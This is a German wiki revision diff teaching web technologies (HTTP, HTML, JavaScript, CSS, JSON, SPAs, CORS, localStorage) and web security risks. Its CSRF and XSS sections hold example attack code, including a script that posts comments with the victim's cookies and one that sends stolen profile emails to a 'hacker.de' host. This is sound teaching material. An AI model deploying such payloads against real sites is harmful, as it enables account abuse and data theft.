Webtechnologien: Unterschied zwischen den Versionen
Drlue (Diskussion | Beiträge) |
Drlue (Diskussion | Beiträge) |
||
| (162 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
Im folgenden sollen einige gebräuchliche Technologien erläutert werden, welche das '''W'''orld '''W'''ide '''W'''eb ein Stück weit zu dem machen was es heute ist. Auch auf ausgewählte Risiken im Zusammenhang mit Webseiten wird eingegangen. | |||
{{TOC limit|3}} | |||
= HTTP Protokoll = | = HTTP Protokoll = | ||
Das '''H'''yper'''T'''ext '''T'''ransfer '''P'''rotocol ist ein Übertragungsprotokoll auf der Anwendungsschicht. Die Übertragung erfolgt über '''TCP'''. Das Protokoll ist [[Webtechnologien#Zustandslosigkeit|zustandslos]] und wurde für die Übertragung von Webseiten entwickelt, kann aber auch für andere Einsatzgebiete verwendet werden.<ref>https://de.wikipedia.org/wiki/Hypertext_Transfer_Protocol</ref> | |||
== Aufbau HTTP Request/Response == | |||
Der Ablauf beim Nachrichtenaustausch, ist immer wie folgt. Zuerst sendet der '''Client''' einen '''Request''' (Anfrage), auf diesen erhält dieser eine '''Response''' (Antwort). | |||
=== Request === | |||
Der Aufbau eines Requests ist immer wie folgt: | |||
{{HTTPML|code= | |||
GET /user HTTP/1.1 | |||
Host: localhost:3000 | |||
}} | |||
* '''Zeile 1:''' [HTTP Methode] [Pfad] [HTTP Protokoll Version] | |||
* '''Zeile 2:''' der Hostname (Domain und Port des Servers) | |||
In '''Zeile 2''' ist der '''Hostname''' einzutragen. Warum ist dies so? Wie bereits erwähnt erfolgen '''HTTP Requests''' auf der Anwendungsschicht. D.h. darunter gibt es bereits eine bestehende '''TCP''' Verbindung. Diese '''TCP''' Verbindung wird zu einem bestimmten Server aufgebaut. Ein Server kann aber mehrere '''Domains''' bereitstellen. Deswegen benötigt es hier die '''Domain''' und den '''Port''' damit der '''Webserver''' weiß, welche '''Webseite''' zur Verfügung gestellt werden soll. | |||
Weiters kann ein '''Request''' '''Header''' und einen '''Body''' (POST, PUT, PATCH<ref>https://specs.openstack.org/openstack/api-wg/guidelines/http/methods.html</ref>) enthalten. Zu sehen ist der '''PUT Request''' zum Verändern des Userprofils bei unserem Webservice Beispiel: | |||
{{HTTPML|code= | |||
PUT /user/123 HTTP/1.1 | |||
Host: localhost:3000 | |||
Accept: application/json | |||
Accept-Encoding: gzip, deflate | |||
Accept-Language: de,en-US;q=0.7,en;q=0.3 | |||
Connection: keep-alive | |||
Content-Length: 97 | |||
Content-Type: application/json | |||
Cookie: ''sehr langer Wert'' | |||
{"username":"lukas123","email":"luke@luke.at","password":"","password2":"","oldPassword":"lukas"} | |||
}} | |||
* '''Zeile 1:''' [HTTP Methode] [Pfad] [HTTP Protokoll Version] | |||
* '''Zeile 2:''' der Hostname (Domain und Port des Servers) | |||
* '''Zeile 3-9:''' Header | |||
** '''Accept''' - Welchen [[Webservices_und_Client_Server_Konzepte#Einheitliche_Schnittstelle|MIME/Type]] akzeptiert der Client als Response | |||
** '''Accept-Encoding''' - Welche Datenkomprimierung versteht der Client | |||
** '''Accept-Language''' - Welche Sprache versteht der Client (in diesem Beispiel irrelevant), mit einer Gewichtung | |||
** '''Connection''' - Was soll mit der darunterliegenden '''TCP''' Verbindung nach dem Übertragen der '''Response''' passieren | |||
** '''Content-Length''' - Wie groß sind die Daten die übertragen werden? | |||
** '''Content-Type''' - Welche [[Webservices_und_Client_Server_Konzepte#Einheitliche_Schnittstelle|MIME/Type]] haben die Daten | |||
** '''Cookie''' - Das Cookie, das der Server verwendet um den Benutzer zu identifizieren | |||
* '''Zeile 10:''' Leere Zeile, trennt den Body vom Header | |||
* '''Zeile 11:''' Eigentliche Botschaft die an den Server gesendet wird | |||
=== Response === | |||
Die '''Response''' verfügt immer über die '''HTTP Protokoll Version''' und einen '''HTTP Statuscode''': | |||
{{HTTPML|code=HTTP/1.1 200 OK}} | |||
* [HTTP Protokoll Version] [HTTP Statuscode] [HTTP Statuscode in Textform] | |||
{| class="wikitable" | |||
|+ Wichtige Statuscodes | |||
|- | |||
! Statuscode !! Beschreibung | |||
|- | |||
| 200 OK || Request war erfolgreich | |||
|- | |||
| 404 Not Found || Ressource wurde nicht gefunden | |||
|- | |||
| 500 Internal Server Error || Es ist ein interner Serverfehler aufgetreten, der Client hat vermutlich nichts falsch gemacht | |||
|- | |||
| 400 Bad Request || Der Request ist ungültig und kann nicht beantwortet werden, dies kann z.B.: durch fehlende Parameter hervorgerufen werden. | |||
|- | |||
| 415 Teapot || Teapot. | |||
|} | |||
Eine vollständige Liste der '''Statuscodes''' findet sich hier: [https://developer.mozilla.org/de/docs/Web/HTTP/Status HTTP Statuscodes] | |||
Zurück zum Beispiel für unseren Webservice. So sieht die '''Response''' (Antwort) des Servers aus: | |||
{{HTTPML|code= | |||
HTTP/1.1 200 OK | |||
Access-Control-Allow-Credentials: true | |||
Access-Control-Allow-Origin: http://localhost:3001 | |||
Connection: keep-alive | |||
Content-Length: 46 | |||
Content-Type: application/json; charset=utf-8 | |||
Date: Mon, 25 Jan 2021 19:34:59 GMT | |||
ETag: W/"2e-thDoXVZzdsBQYfEzwykwZDAM1to" | |||
Keep-Alive: timeout=5 | |||
X-Powered-By: Express | |||
{"email":"luke@luke.at","username":"lukas123"} | |||
}} | |||
* '''Zeile 1:''' [HTTP Protokoll Version] [HTTP Statuscode] [HTTP Statuscode in Textform] | |||
* '''Zeile 2-10:''' Header | |||
** '''Access-Control-Allow-Credentials''' - [[Webtechnologien#CORS|CORS Header]] | |||
** '''Access-Control-Allow-Origin''' - [[Webtechnologien#CORS|CORS Header]] | |||
** '''Connection''' - Soll die darunterliegende TCP Verbindung offen bleiben? | |||
** '''Content-Length''' - Länge der zu übertragenden Daten | |||
** '''Content-Type''' - [[Webservices_und_Client_Server_Konzepte#Einheitliche_Schnittstelle|MIME/Type]] der zu übertragenden Daten | |||
** '''Date''' - Uhrzeit der Übertragung | |||
** '''ETag''' - [[Webservices_und_Client_Server_Konzepte#Caching|Caching]] | |||
** '''Keep-Alive''' - Wie lange soll die TCP Verbindung bei Untätigkeit geöffnet bleiben | |||
** '''X-Powered-By''' - Custom Header, in diesem Fall beschreibt er das verwendete Webservice Framework | |||
* '''Zeile 11:''' - Leerzeile, trennt Header vom Body | |||
* '''Zeile 12:''' - Eigentliche Botschaft | |||
== Methoden == | == Methoden == | ||
Für nähere Informationen zu gebräuchlichen '''HTTP Methoden''', oder '''HTTP Verben''' siehe [[Webservices_und_Client_Server_Konzepte#Einheitliche_Schnittstelle|Einheitliche Schnittstelle]]. Eine vollständige Liste und die Bedeutung der einzelnen Verben kann [https://developer.mozilla.org/de/docs/Web/HTTP/Methods hier] eingesehen werden. | |||
== Zustandslosigkeit == | == Zustandslosigkeit == | ||
Das '''HTTP Protokoll''' ist Zustandslos, das bedeutet, es gibt keinen direkten Zusammenhang zwischen mehreren '''HTTP Requests'''. Natürlich kann es einen logischen Zusammenhang zwischen den Requests geben, z.B.: Zuerst muss ein User erstellt werden (POST), dannach kann dieser modifiziert werden (PUT). Deswegen eignet sich das '''HTTP Protokoll''' so hervorragend für '''RESTful''' Webservices und deswegen wird das hier näher beschrieben: siehe [[Webservices_und_Client_Server_Konzepte#Zustandslosigkeit|Zustandslosigkeit]]. | |||
= Standardtechnologien für Webseiten = | |||
Im folgenden soll kurz auf einige Standardtechnologien von Webseiten eingegangen werden. | |||
== HTML == | |||
Die '''H'''yper'''T'''ext '''M'''arkup '''L'''anguage, ist eine '''Auszeichnungssprache''' zur Bildung der Struktur von Webseiten. Diese bestehen aus verschiedenen ineinander verschachtelten '''HTML''' Elementen.<ref>https://de.wikipedia.org/wiki/Hypertext_Markup_Language</ref> | |||
==== Beispiel ==== | |||
{{HTMLML|code= | |||
<html> | |||
<head> | |||
<title> | |||
Willkommen | |||
</title> | |||
</head> | |||
<body> | |||
<h1>Willkommen</h1> | |||
<p>Dies ist der eigentliche Inhalt der Webseite</p> | |||
</body> | |||
</html> | |||
}} | |||
== Javascript == | |||
Die Programmiersprache '''Javascript''' hat mittlerweile vielseitige Einsatzgebiete, im Browser sorgt es unter anderem für dynamische [[Webtechnologien#Single_Page_Application|Webseiten]], im Bereich der Anwendungstechnologien mit z.B.: '''Node.js''' für hervorragende, skalierbare und schnelle Webservices. | |||
==== Untypisiert ==== | |||
'''Javascript''' ist eine untypisierte Sprache. Dies bedeutet, die Variablen haben keinen Typ: | |||
{{JSML|code= | |||
//Veränderbare Variable | |||
var value = 10; | |||
//Da nicht typisiert, ist folgendes möglich | |||
value = "hallo"; | |||
value = 3.5; | |||
//Nicht veränderbare Variable | |||
const PI = 3.14; | |||
}} | |||
==== Interpreter-, Scriptsprache ==== | |||
Weiters handelt es sich bei '''Javascript''' um eine '''Interpretersprache''', dies bedeutet der Quellcode wird '''nicht''' zu ausführbarem Maschinencode '''kompiliert''', welcher direkt vom Betriebssystem ausgeführt werden kann. Um '''Javascript''' auszuführen benötigt es einen '''Interpreter'''. Mittlerweile hat fast jeder (eigentlich jeder?) Browser einen '''Javascript Interpreter'''. Im Anwendungsbereich wie z.B. bei '''Node.js''' kommt die Chrome V8 Engine als Interpreter zum Einsatz<ref>https://nodejs.dev/learn/the-v8-javascript-engine</ref>. | |||
==== Beispiel Funktionen ==== | |||
Beispiele für Funktionen: | |||
{{JSML|code= | |||
//Einfache Funktion | |||
function showDialog(text) { | |||
window.alert(text); | |||
} | |||
showDialog("Wie gehts?"); | |||
//Funktionen können auch in Variablen gespeichert werden | |||
let showDialog2 = showDialog; | |||
showDialog2("Hallo"); | |||
//Sie können auch inline geschrieben werden | |||
let showDialog3 = (text) => { window.alert(text) }; | |||
showDialog3("Sehr gut!"); | |||
}} | |||
== CSS == | |||
'''C'''ascading '''S'''tyle '''S'''heets bieten die Möglichkeit, '''HTML''' Webseiten anzupassen. Von Schriftart, Textfarbe, Form bis zu Animationen, es gibt endlose Möglichkeiten des Stylings.<br> | |||
Das Styling kann direkt im '''HTML''' Element über das '''style''' Attribut erfolgen, oder über eine separate Definition. Diese kann sich in einer eigenen '''.css''' Datei, oder gesammelt im {{HTMLSL|<head>...</head>}} des '''HTML''' Dokuments befinden.<br> | |||
In '''CSS''' können entweder bestehende '''HTML''' Elemente gestylt, oder eigene '''Klassen''' erstellt werden. Dies geschieht über sogenannte '''Selektoren'''. Eine Styledefinition kann auch mehrere '''Selektoren''' aufweisen. Folgendes Beispiel setzt die '''Textfarbe''' von jedem {{HTMLSL|<h1>}} Element welches sich in einem {{HTMLSL|<table>}} Element befindet auf '''Grün''': | |||
{{HTMLML|code= | |||
<style> | |||
table h1 { | |||
color: green; | |||
} | |||
</style> | |||
}} | |||
= | ==== Beispiel ==== | ||
{{HTMLML|code= | |||
<html> | |||
<head> | |||
<style> | |||
h1 { | |||
color: blue; | |||
} | |||
table h1 { | |||
font-size: 40px; | |||
} | |||
= | .ownClass { | ||
color: yellow; | |||
} | |||
</style> | |||
</head> | |||
<body> | |||
<h1>Willkommen</h1> | |||
<table> | |||
<tr> | |||
<td><h1>Willkommen</h1></td> | |||
</tr> | |||
</table> | |||
<div class="ownClass">Hallo</div> | |||
</body> | |||
</html> | |||
}} | |||
* '''Zeile 4-6:''' - Erstellt einen Selektor, welcher bei allen {{HTMLSL|<h1>}} Elementen die Textfarbe auf Grün ändert. | |||
* '''Zeile 8-10:''' - Erstellt einen Selektor, welcher bei allen {{HTMLSL|<h1>}} Elementen welche sich innerhalb eines {{HTMLSL|<table>}} Elements befinden, die Schriftgröße ändert. | |||
* '''Zeile 12-14:''' - Erstellt einen Klassenselektor, welcher bei allen HTML Elementen welche die die Klasse '''ownClass''' besitzen, die Schriftart auf Gelb ändert. | |||
= Json = | == Json == | ||
Die '''J'''ava '''S'''cript '''O'''bject '''N'''otation ist mittlerweile eines der gebräuchlichsten '''Datenübertragungsformate''' im Web und bietet durch seine '''Einfachheit''' '''und den geringen Overhead''' eine sehr gute Alternative gegenüber '''XML'''. Die Datentypen beschränken sich auf: | |||
* Objekt - '''{''' ... '''}''' | |||
* Array - '''[''' ... ''']''' | |||
* Zeichenkette - '''"'''Text'''"''' | |||
* Zahl - z.B.: '''3.5''', '''3''' | |||
* Boolscher Wert - '''true''', '''false''' | |||
* Null Wert - '''null''' | |||
==== Beispiel<ref>https://de.wikipedia.org/wiki/JavaScript_Object_Notation</ref> ==== | |||
{{JSML|code= | |||
{ | |||
"Herausgeber": "Xema", | |||
"Nummer": "1234-5678-9012-3456", | |||
"Deckung": 2e+6, | |||
"Waehrung": "EURO", | |||
"Inhaber": | |||
{ | |||
"Name": "Mustermann", | |||
"Vorname": "Max", | |||
"maennlich": true, | |||
"Hobbys": ["Reiten", "Golfen", "Lesen"], | |||
"Alter": 42, | |||
"Kinder": [], | |||
"Partner": null | |||
} | |||
} | |||
}} | |||
= Single Page Application = | = Single Page Application = | ||
Im Vergleich zu normalen Webseiten, bestehen '''S'''ingle '''P'''age '''A'''pplications aus lediglich einer '''HTML''' Webseite. Veränderung des Inhalts erfolgen über '''Javascript''' . Das '''D'''ocument '''O'''bject '''M'''odel<ref>https://de.wikipedia.org/wiki/Document_Object_Model</ref>(Aufbau der Webseite) wird über '''Javascript''' manipuliert, das heißt es werden '''HTML''' '''Elemente''' im '''DOM''' '''erzeugt''', '''gelöscht''' oder '''verändert'''. Im folgenden werden wichtige Technologien für '''SPAs''' erläutert. | |||
== AJAX == | == AJAX == | ||
'''A'''synchronous '''J'''avascript '''X'''ml ist bezeichnend für den '''SPA''' Ansatz. Requests an den Webservice werden über '''Javascript''' ausgeführt, die Daten werden im '''XML''' Format übertragen, verarbeitet und dann wird das '''DOM''' der Webseite manipuliert. Mittlerweile wird immer seltener '''XML''' verwendet, stattdessen kommt '''Json''' als Übertragungsformat zum Einsatz, das '''X''' in '''AJAX''' hat sich jedoch gehalten. | |||
=== CORS === | |||
Grundsätzlich, wenn asynchrone '''Javascript''' '''Requests''' ausgeführt werden, so dürfen diese nur an den Ursprung gerichtet werden, also den Server von dem aus auch das '''Javascript''' an den Browser gesendet wurde, das ist die '''Same-Origin-Policy'''. Werden '''Requests''' an einen anderen Server gesendet, so wird der Browser die '''Response''' nicht an das '''Javascript''' weiterleiten, sondern einen Fehler werfen.<ref>https://de.wikipedia.org/wiki/Same-Origin-Policy</ref> Ganz vereinfacht gesagt, der '''Javascript Code''' der den Request an einen Webservice sendet, muss auch von diesem Webservice stammen, d.h. den selben '''Ursprung''' (Origin) haben. | |||
Es ist der selbe Ursprung, wenn '''Protokoll''', '''Domain''' und der '''Port''' gleich sind. | |||
Wird nun beispielsweise das '''Frontend''', z.B.: React, von einem anderen '''Ursprung''' wie dem Webservice geliefert, so muss '''C'''ross '''O'''rigin '''R'''essource '''S'''haring aktiviert werden. Die Aktivierung erfolgt über '''HTTP Header''', welche der Webservice seiner '''Response''' hinzufügt. Der Browser analysiert dann diese '''Header''' und im Falle eines '''CORS''' verstoßes, wird die '''Response''' nicht an das '''Javascript''' der Webseite weitergeleitet. Der '''Request''' ist jedoch trotzdem erfolgt, d.h. am Webserer kann eine Veränderung stattgefunden haben (siehe {{Link|Sicherheitsrisiken}}). | |||
{| class="wikitable" | |||
|+ CORS Header (die wichtigsten fürs Verständnis) | |||
|- | |||
! Header !! Mögliche Werte !! Erklärung | |||
|- | |||
| Access-Control-Allow-Origin || '''*''' oder der '''Ursprung''' der aufrufenden Seite || Wird die '''Wildcard *''' verwendet, so sind Requests von jedem Server möglich. Steht hier die Ursprungsquelle des aufrufenden Javascripts, so handelt es sich um einen Eintrag in einer '''Whitelist''' (welche Quellen sind erlaubt, z.B.: localhost:3000, localhost:3001). | |||
|- | |||
| Access-Control-Allow-Methods || '''PUT''','''POST''','''DELETE''',... || Hier wird angegeben welche HTTP Verben erlaubt sind | |||
|- | |||
| Access-Control-Allow-Credentials || '''true''' oder '''false''' || Dürfen Cookies übermittelt werden? Dies ist nur in Zusammenhang mit der '''Whitelist''' möglich. Bei der '''Wildcard''' ist das übermitteln von Cookies nicht erlaubt. Hier sei weiters erwähnt, dass dies nur den '''Javascript''' Teil beim '''Client''' betrifft. Also darf ein '''Request''' wenn dieser '''Credentials''' (Cookies, Authroization Headers,...) enthält, an das '''Javascript''' weitergeleitet werden. | |||
|} | |||
==== Beispiel ==== | |||
In unserem Webservice Beispiel, haben wir diesen '''AJAX''' Ansatz beim Löschen von Nachrichten und beim Empfangen neuer Nachrichten implementiert. Anbei der Code zum Löschen (erweitert um das Löschen des '''HTML''' elements): | |||
{{HTMLML|code= | |||
<html> | |||
... | |||
<script> | |||
async function del(id) { | |||
try { | |||
//HTTP delete request | |||
var result = await fetch("/messages/" + id, { method: "DELETE" }); | |||
if (result.status != 200) { | |||
window.alert("Nachricht wurde nicht gelöscht..."); | |||
} else { | |||
//Element wird aus DOM gelöscht | |||
document.getElementById(id)?.remove(); | |||
} | |||
} catch (err) { | |||
window.alert("Löschen fehlgeschlagen..."); | |||
} | |||
} | |||
</script> | |||
... | |||
<p id="600ee7bcbeffc91a1aa520a3"> | |||
Von: lukas, Mon Jan 25 2021 16:46:04 GMT+0100 (Mitteleuropäische Normalzeit)<br> | |||
Nachricht: asdfasdf<br> | |||
<br> | |||
<button onclick="del('600ee7bcbeffc91a1aa520a3')">Nachricht löschen</button> | |||
</p> | |||
... | |||
</html> | |||
}} | |||
== SPA Frameworks == | == SPA Frameworks == | ||
Für den '''SPA''' Ansatz gibt es eine vielzahl von Frameworks. Einige sehr populäre Frameworks sind: | |||
* '''React''' (Wird eigentlich nur als Bibliothek bezeichnet, da dem Entwickler sehr viel Freiheit in der Umsetzung geboten wird) | |||
* '''Vue.js''' | |||
* '''Angular''' | |||
Weiters soll hier '''Flutter''' erwähnt werden. Dies ist ein '''Cross Platform Framework''', mit dem ebenfalls Webseiten erstellt werden können. Ein großer Unterschied ist, dass bei '''Flutter''' keine '''DOM''' Manipulation erfolgt, die Webseite wird auf ein '''Canvas''' gezeichnet, also gerendert, wie ein Spiel. | |||
'''Flutter''' wurde als '''nativ anfühlende Alternative''' für '''iOS''' und '''Android''' Apps gestartet, mittlerweile ist es möglich, Webseiten sowie Desktop Apps für Linux, Windows und MacOS zu erstellen. | |||
=== React === | |||
Das '''SPA''' Framework '''React''' wurde von '''Facebook''' entwickelt. Programmiert wird in '''Javascript''' oder '''Typescript''' (Javascript mit Typisierung). Das '''React Framework''' erstellt aus allen Quelldateien ein optimiertes '''Javascript''' Programm inklusive '''HTML'''.<br> | |||
Eine '''React''' Anwendung besteht aus '''Komponenten''' (Components), die ineinander verschachtelt werden können. Eine '''Objektorientierte''' Vorgangsweise mit '''Klassen''' und '''Vererbung''', wie z.B.: in '''Java''', ist möglich, wird jedoch weitesgehend durch den Einsatz von '''Functional Components''' ersetzt.<br> | |||
Veränderung von Komponenten erfolgt über die Veränderung des '''States'''. Wird der '''State''' verändert, so wird die Komponente neu gerendert. Dies soll an folgendem Beispiel illustriert werden, eine einfache '''Cookie Clicker Component''': | |||
{{JSML|code= | |||
import React, { useState } from 'react'; | |||
function CookieClicker(props) { | |||
const [clicked, setClicked] = useState(0); | |||
function buttonClicked() { | |||
setClicked(clicked + 1); | |||
} | |||
function reset() { | |||
setClicked(0); | |||
} | |||
return ( | |||
<div> | |||
<button onClick={buttonClicked}>Deine Cookies {clicked}!</button> | |||
<br /> | |||
<button onClick={reset}>Cookies löschen!!!</button> | |||
</div> | |||
) | |||
} | |||
export default CookieClicker; | |||
}} | |||
Die '''Komponente''' besteht lediglich aus einer '''Funktion''', dieser können optional '''Properties''' {{JSSL|props}} (Übergabeparameter) mitgegeben werden. Dies können Beispielsweise '''Callbacks''' oder '''Parameter''' die für die Initialisierung benötigt werden sein.<br> | |||
Die '''Funktion''' hat als Rückgabewert '''JSX'''. '''JSX''' ist eine Templatesprache, welche es in '''Komponententen''' erlaubt '''Javascript Code''' und '''HTML/CSS''' zu kombinieren. Wird im Template auf '''Javascript''' zugegriffen ''(Zeile 16 und 18)'', so wird dies in '''{ ... }''' gefasst. Für die '''State Variable''' gibt es keinen '''getter''', hier wird einfach direkt die Variable verwendet ''(Zeile 16)''<br> | |||
Weiters sehen wir im Beispiel ''(Zeile 4)'', wie eine '''State Variable''' initialisiert wird. Der Funktion {{JSSL|useState(...)}} wird ein Initialwert mitgegeben. Zusätzlich wird der Name der '''State Variable''' und ein '''setter''' definiert. Wird die '''State Variable''' über den '''setter''' modifiziert ''(Zeile 16 und Zeile 18)'', so erfolgt ein erneutes Rendern der '''Komponente'''. | |||
== Anwendungsstate speichern == | == Anwendungsstate speichern == | ||
Um den Zustand einer Webseite zu speichern, egal ob '''traditionell''' oder '''SPA''', kann die '''localstorage API<ref>https://developer.mozilla.org/de/docs/Web/API/Window/localStorage</ref>''' des Browsers verwendet werden. Diese '''Programmierschnittstelle''', ermöglicht über '''Javascript''' '''Key Value Pairs''' wie beim [[Algorithmen_und_Datenstrukturen#Assoziativer_Speicher|Assoziativen Speicher]] zu speichern. Im '''Localstorage''' kann z.B.: gespeichert werden, in welchem Menüpunkt der Webseite sich der Benutzer zuletzt befunden hat, oder ähnliches. Natürlich könnte dies auch Serverseitig gespeichert werden, doch wenn dies nicht nötig ist, ist es eine gute und effiziente Alternative. Es wird kein Useraccount oder ähnliches benötigt. | |||
==== Beispiel ==== | |||
Folgende Webseite speichert einfach den Zustand, wie oft sie geöffnet wurde. Dies kann gerne selbst probiert werden: | |||
{{HTMLML|code= | |||
<html> | |||
<h1 id='title'/> | |||
<script> | |||
var opened = window.localStorage.getItem('openedTimes'); | |||
if (!opened) { | |||
opened = 1; | |||
} else { | |||
opened++; | |||
} | |||
document.getElementById('title').innerHTML = "Hallo, du hast die Webseite "+opened+" mal geöffnet"; | |||
window.localStorage.setItem('openedTimes', opened); | |||
</script> | |||
</html> | |||
}} | |||
=== Risiken der Localstorage API === | |||
Werte im '''Localstorage''' können über '''Javascript''' nur von der selben Quelle ('''Origin''') abgerufen werden. Somit kann '''Javascript''' nicht auf den '''Localstorage''' anderer Webseiten zugreifen. Das klingt schon sehr sicher. Warum sollte man dann die '''Localstorage API''' nicht auch zum speichern von '''Zugangstoken''' wie z.B dem [[Webservices_und_Client_Server_Konzepte#Token_basierte_Authentifizierung|JWT Token]] verwenden?<br> | |||
Das Problem liegt darin, dass sämtliches '''Javascript''' welches in der Webseite geladen wird, Zugriff auf die Daten im '''Localstorage''' hat. Wenn keine '''3rd Party Javascript Bibliotheken''' verwendet werden, ist dies kein Problem. Jedoch ist das Heutzutage in den allermeisten Fällen nicht der Fall. Für alle möglichen Dinge werden '''Javascript''' '''Bibliotheken''' verwendet, bei Einsatz eines '''SPA Frameworks/Bibliothek''' umso mehr. Wäre eine dieser Bibliotheken '''kompromitiert''' (enthält Schadcode), so könnte Sie mit Leichtigkeit das '''Token''' aus dem '''Localstorage''' holen und an einen anderen Server senden. | |||
= Sicherheitsrisiken = | = Sicherheitsrisiken = | ||
Im folgenden werden ausgewählte Sicherheitsrisiken im Zusammenhang mit Webseiten erläutert. | Im folgenden werden ausgewählte Sicherheitsrisiken im Zusammenhang mit Webseiten erläutert. | ||
== CSRF == | == CSRF == | ||
'''C'''ross '''S'''ite '''R'''equest '''F'''orgery, ist eine Angriffsmethode bei dem die gespeicherten Anmeldedaten des Benutzers verwendet werden um Requests durchzuführen, die ohne die Zustimmung des Benutzers erfolgen.<br> | '''C'''ross '''S'''ite '''R'''equest '''F'''orgery, ist eine Angriffsmethode bei dem die gespeicherten Anmeldedaten des Benutzers verwendet werden, um Requests durchzuführen, die ohne die Zustimmung des Benutzers erfolgen.<br> | ||
=== Unterschieben der URL === | === Unterschieben der URL === | ||
Ist ein Benutzer bei einer Webseite '''A''' angemeldet, so wird diese Anmeldeinformation als '''Cookie''' im Browser gespeichert. Bei jedem Request an Webseite '''A''' wird das Cookie vom Browser mitgesendet, und der Server verwendet es um den Benutzer zu authentifizieren. Das '''Cookie''' wird auch mitgesendet wenn die Anfrage nicht von Webseite '''A''' selbst, sondern von einer anderen Webseite '''B''' stammt. Somit können schadhafte Requests von einer beliebigen Webseite ausgeführt werden, wenn der Server keine '''CSRF''' Schutzmechanismen implementiert hat.<br> | Ist ein Benutzer bei einer Webseite '''A''' angemeldet, so wird diese '''Anmeldeinformation''' als '''Cookie''' im Browser gespeichert. Bei jedem '''Request''' an Webseite '''A''' wird das '''Cookie''' vom Browser mitgesendet, und der Server verwendet es um den Benutzer zu authentifizieren. Das '''Cookie''' wird auch mitgesendet wenn die Anfrage nicht von Webseite '''A''' selbst, sondern von einer anderen Webseite '''B''' stammt. Somit können schadhafte '''Requests''' von einer beliebigen Webseite ausgeführt werden, wenn der Server keine '''CSRF''' Schutzmechanismen implementiert hat.<br> | ||
Ein auslesen von Daten durch eine bösartige Webseite ist hierbei jedoch nicht möglich. Moderne Browser senden zwar die Anfrage an den Server, die Antwort jedoch, wird durch den Browser nicht an das '''Javascript''' der Schadseite weitergeleitet. Der Grund hierfür ist die | Ein auslesen von Daten durch eine bösartige Webseite ist hierbei jedoch nicht möglich. Moderne Browser senden zwar die Anfrage an den Server, die Antwort jedoch, wird durch den Browser nicht an das '''Javascript''' der Schadseite weitergeleitet. Der Grund hierfür ist die [[Webtechnologien#CORS|Same-Site-Policy]], oder restriktionen von [[Webtechnologien#CORS|CORS]]. | ||
==== Beispiel ==== | ==== Beispiel ==== | ||
Angenommen der Benutzer ist auf der Webseite '''https://vol.at''' angemeldet. Um einen Kommentar für einen Artikel zu erstellen, erfolgt ein '''POST Request''' auf '''https://vol.at/14512/'''.<br> | Angenommen der Benutzer ist auf der Webseite '''https://vol.at''' angemeldet. Um einen Kommentar für einen Artikel zu erstellen, erfolgt ein '''POST Request''' auf '''https://vol.at/14512/'''.<br> | ||
Der Angreifer bringt auf irgendeine Weise (z.B.: Phishing Mail) den Benutzer dazu, auf seine eigene Webseite zu navigieren. | Der Angreifer bringt auf irgendeine Weise (z.B.: Phishing Mail) den Benutzer dazu, auf seine eigene Webseite zu navigieren. | ||
Beim Aufruf dieser bösen Webseite kann nun direkt über '''Javascript''' ein '''POST Request''' auf '''https://vol.at/14512/''' mit einem unangebrachten Kommentar ausgeführt werden. | Beim Aufruf dieser bösen Webseite kann nun direkt über '''Javascript''' ein '''POST Request''' auf '''https://vol.at/14512/''' mit einem unangebrachten Kommentar ausgeführt werden. Diese bösartige Webseite könnte wie folgt aussehen: | ||
{{HTMLML|code= | |||
Sie werden in kürze gehackt. | |||
<script> | |||
async function postComment() { | |||
await fetch('https://vol.at/14512', { | |||
method: 'POST', | |||
headers: { 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8' }, | |||
body: "comment=Du bist so blöd!", | |||
credentials: 'include' | |||
} | |||
window.alert("You have been hacked by HACKER"); | |||
} | |||
postComment(); | |||
</script> | |||
}} | |||
Versuche doch, das Unterschieben der URL mit unserem Webservice Beispiel! | |||
==== Lösungen ==== | ==== Lösungen ==== | ||
Generell verliert diese Art der '''CSRF''' Attacke an | Generell verliert diese Art der '''CSRF''' Attacke an Bedeutung. Es gibt mehrere Möglichkeiten eine Webseite dagegen abzusichern. | ||
* ''' | * '''Same Site Cookie Attribut<ref>https://web.dev/samesite-cookies-explained/</ref>''' - Beschränkt das senden von '''Cookies''' wenn der '''Request''' nicht von der ursprünglichen Webseite, welche auch das '''Cookie''' gesendet hat, kommt. | ||
* '''CSRF Token''' - Wird ein '''POST Request''' gemacht, so muss zuerst ein '''CSRF Token''' geholt werden, dieser wird beim '''POST Request''' mitgesendet und validiert. Wie bereits erwähnt, können Requests von einer bösartigen zwar gesendet, die Responses aber nicht verarbeitet werden. Somit kann der '''CSRF Token''' nicht geholt und dem ungewünschten Request | * '''CSRF Token''' - Wird ein '''POST Request''' gemacht, so muss zuerst ein '''CSRF Token''' geholt werden, dieser wird beim '''POST Request''' mitgesendet und validiert. Wie bereits erwähnt, können '''Requests''' von einer bösartigen Webseite zwar gesendet, die '''Responses''' aber nicht verarbeitet werden, dies verhindert der Browser. Somit kann der '''CSRF Token''' nicht geholt und dem ungewünschten '''Request''' hinzugefügt werden. | ||
=== XSS === | === XSS === | ||
'''X'''/Cross ''' | '''X'''/Cross '''S'''ite '''S'''cripting, ist eine Variante von '''CSRF''' welche ebenfalls erfordert, dass der Benutzer auf einer Webseite angemeldet ist. Die unerwünschten '''Requests''' werden jedoch auf einem anderen Weg an den User gebracht. Besteht auf einer Webseite die Möglichkeit für den Benutzer eigenen '''HTML''' oder '''Javascript''' Code hochzuladen, so können '''schadhafte Requests''' bei anderen Benutzern ausgeführt werden. Diese Möglichkeit kann auch durch mangelhafte Absicherung von Benutzereingaben auftreten. Der '''schadhafte Code''' wird als Teil der Webseite an den Browser anderere Benutzer gesendet, sämtliche '''Requests''' sind hier möglich. Weder ein '''Same Site Cookie''' noch ein '''CSRF''' Token schaffen hier abhilfe, da die bösartigen Requests von der Seite selbst stammen. | ||
==== Beispiel ==== | |||
Angenommen sei eine Webseite welche Beiträge von Benutzern über ein Formularfeld entegegen nimmt. Die Beiträge werden beim Abrufen eines Browser folgendermaßen gerendert<br> | |||
{{HTMLML|code= | |||
<html> | |||
<article> | |||
Nachrichten inhalt | |||
</article> | |||
</html> | |||
}} | |||
Ein Benutzer könnte nun folgende Nachricht verfassen: | |||
{{JSML|code= | |||
Heute hat es aber viel geschneit! Schön! | |||
<script> | |||
async function getProfile() { | |||
var user = await fetch('/profile', { | |||
method: 'GET', | |||
credentials: 'include' | |||
}); | |||
fetch('https://hacker.de/stolenemails', { | |||
method: 'POST', | |||
headers: { "Content-Type": "application/json" }, | |||
body: JSON.stringify({ email: user.email }), | |||
}); | |||
